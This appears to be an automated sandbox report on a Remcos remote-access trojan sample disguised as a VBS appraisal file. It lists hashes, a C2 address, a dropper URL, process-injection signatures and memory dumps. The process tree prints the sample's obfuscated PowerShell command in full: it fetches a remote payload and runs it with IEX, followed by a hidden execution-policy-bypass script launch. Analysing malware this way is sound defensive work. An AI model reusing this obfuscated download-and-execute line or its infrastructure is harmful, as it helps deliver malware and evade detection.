remcos | a465bb35f4e7bafb2fea17156c39daee286e49c3f10463ecb8d29766e2d0b200

General

Target

Appraisal.property..vbs
Size

704B
MD5

7058bdc13d0094b435eaa07b09e76297
SHA1

f9084f4c4f1756fd531007a8fd7a344207a4cd13
SHA256

a465bb35f4e7bafb2fea17156c39daee286e49c3f10463ecb8d29766e2d0b200
SHA512

1b0bfd576cfae09c9d997ea8a93fa07e9b353cd68076d6665d21a6b46940126593d3eeb78331375a64a94e0b332581e1a4207e9217b5bf142c1798ddf7a12ed7

Score

10^/10

remcos rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

6 4052 powershell.exe
17 4052 powershell.exe
19 4052 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3928 set thread context of 3960 3928 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4052 powershell.exe
4052 powershell.exe
4052 powershell.exe
3928 powershell.exe
3928 powershell.exe
3928 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4052 powershell.exe
Token: SeDebugPrivilege 3928 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

3960 aspnet_compiler.exe

flow	pid	process
6	4052	powershell.exe
17	4052	powershell.exe
19	4052	powershell.exe

description	pid	process	target process
PID 3928 set thread context of 3960	3928	powershell.exe	aspnet_compiler.exe

pid	process
4052	powershell.exe
4052	powershell.exe
4052	powershell.exe
3928	powershell.exe
3928	powershell.exe
3928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe

pid	process
3960	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 636 wrote to memory of 4052	636	WScript.exe	powershell.exe
PID 636 wrote to memory of 4052	636	WScript.exe	powershell.exe
PID 4052 wrote to memory of 3928	4052	powershell.exe	powershell.exe
PID 4052 wrote to memory of 3928	4052	powershell.exe	powershell.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe
PID 3928 wrote to memory of 3960	3928	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.property..vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://ia601403.us.archive.org/35/items/all_20210429/ALL.TXT';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
- Suspicious use of SetWindowsHookEx
PID:3960

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\ Microsoft.ps1
MD5
8f6332bbb2ac7fd6aca48c0a7c389e99

SHA1
f0158d25c9e29ef3769f4c5f6b23e08d836628b0

SHA256
ad6b1343724f61fc76f17b844d53df5b5599b1b93c3709d7a2061c52ea46c9f2

SHA512
5cc1a3c86976b0f4e88ca568f60f22241225b6a31a6f48f26a76bd84e9723541537c13f745745becca24f47f7a8e354dda948d30f521df5c842e56443fced8eb

Download Submit
memory/3928-143-0x000002748AFA3000-0x000002748AFA5000-memory.dmp

Filesize
8KB

Download
memory/3928-185-0x000002748AFA6000-0x000002748AFA8000-memory.dmp

Filesize
8KB

Download
memory/3928-184-0x00000274A4F10000-0x00000274A4F11000-memory.dmp

Filesize
4KB

Download
memory/3928-177-0x00000274A4EF0000-0x00000274A4F0F000-memory.dmp

Filesize
124KB

Download
memory/3928-160-0x00000274A4F20000-0x00000274A4F21000-memory.dmp

Filesize
4KB

Download
memory/3928-135-0x0000000000000000-mapping.dmp

Download
memory/3928-142-0x000002748AFA0000-0x000002748AFA2000-memory.dmp

Filesize
8KB

Download
memory/3960-182-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3960-183-0x000000000042EEEF-mapping.dmp

Download
memory/3960-186-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4052-130-0x000001F06F6A6000-0x000001F06F6A8000-memory.dmp

Filesize
8KB

Download
memory/4052-129-0x000001F06F6A3000-0x000001F06F6A5000-memory.dmp

Filesize
8KB

Download
memory/4052-128-0x000001F06F6A0000-0x000001F06F6A2000-memory.dmp

Filesize
8KB

Download
memory/4052-114-0x0000000000000000-mapping.dmp

Download
memory/4052-123-0x000001F06F5C0000-0x000001F06F5C1000-memory.dmp

Filesize
4KB

Download
memory/4052-119-0x000001F06F0A0000-0x000001F06F0A1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads